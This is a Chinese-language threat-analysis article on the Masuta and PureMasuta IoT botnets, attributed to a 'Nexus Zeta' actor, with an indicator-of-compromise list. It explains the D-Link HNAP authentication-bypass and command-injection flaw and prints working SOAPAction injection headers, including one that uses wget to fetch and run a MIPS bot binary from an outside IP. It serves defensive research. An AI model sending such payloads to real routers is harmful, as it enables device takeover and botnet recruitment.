0x00 概述
Satori的威胁背后是新的Masuta僵尸网络,目标是野外路由器.
Masuta僵尸网络使用默认凭据作为目标路由器,被分析的一个版本称为“PureMasuta”,依赖于旧的网络管理EDB 38722 D-Link漏洞利用。
0x10 研究发现
NewSky
的安全专家认为,最近发现的Satori僵尸网络的运营商正在发起一个新的大规模黑客攻击行动,针对路由器在僵尸网络中感染和招募他们。
“我们分析了一个名为”Masuta“的物联网僵尸网络的两个变种,我们观察到一个众所周知的物联网威胁参与者的参与,并发现了一个在僵尸网络运动中首次被武装化的路由器利用。”
“我们能够在只有黑暗的论坛上获得Masuta(日语为”主“)僵尸网络的源代码。在分析配置文件之后,我们看到Masuta使用0xdedeffba
而不是Mirai的0xdeadbeef
作为密钥的种子,因此配置文件中的字符串被((DE ^ DE)^ FF)^ BA
或0x45
有效地存储。 ”
Satori僵尸网络是由MalwareMustDie
专家组首次发现的Mirai
僵尸网络的一个变体,它在2016年底成为头条新闻,涉及数十万次尝试利用华为HG532家庭路由器
中最近发现的一个漏洞。
Masuta还使用默认凭据作为目标路由器,被称为“PureMasuta”的专家分析的版本之一依赖于旧的网络管理EDB 38722 D-Link
漏洞利用。
研究人员注意到自9月份以来Masuta攻击事件有所增加,他们的蜜罐在过去三个月中观察到涉及僵尸网络的2400个IP,专家认为其他路由器将在未来几个月内被利用。
研究人员Craig Heffner在2015年发现了由EDB 38722 D-Link漏洞触发的漏洞,它影响了D-Link的家庭网络管理协议。
0x20 漏洞原理
“PureMasuta僵尸网络中引入的漏洞基于HNAP(家庭网络管理协议)中,该协议本身基于SOAP协议。”NewSky发表的分析报告表明:
“通过使用hxxp://purenetworks.com/HNAP1/GetDeviceSettings
可以创建一个可以绕过认证的SOAP查询。 另外,由于不正确的字符串处理,运行系统命令(导致任意代码执行)是可行的。 当两个问题结合在一起时,可以形成一个首先绕过认证的SOAP请求,然后导致任意代码执行。“
专家解释,像下面这样的字符串将导致重新启动
SOAPAction: “hxxp://purenetworks.com/HNAP1/GetDeviceSettings/`reboot`”
攻击者可以在“GetDeviceSettings”之后运行任何命令,这个机制被puremasuta BOT
用来运行
wget
来获取并运行一个shell脚本
并接管目标路由器
。
0x21 示例
利用该漏洞,在Linux服务器 tmp
目录下,下载jennifer.mips
的二进制文件,并赋予执行权限
,最后运行该二进制文件。
SOAPAction: http://purenetworks.com/HNAP1/GetDeviceSettings/`cd /tmp
&& wget http://5.39.22.8/jennifer.mips ;chmod +x jennifer.mips ;./jennifer.mips`
0x30 IOC
专家们注意到,PureMasuta变体
使用的命令和控制服务器(IP:93.174.93.63
)与原始Masuta变体中使用的相同,这意味着PureMasuta是由相同威胁参与者操作的僵尸网络的演变。
NewSky
将Masuta僵尸网络
归类为一个名为“Nexus Zeta
”的实体,该名称来自C&C URL nexusiotsolutions(dot)网络,该URL与Satori僵尸网络使用的相同。
purenetworks.com
93.174.93.63
67.20.177.160
85.17.73.233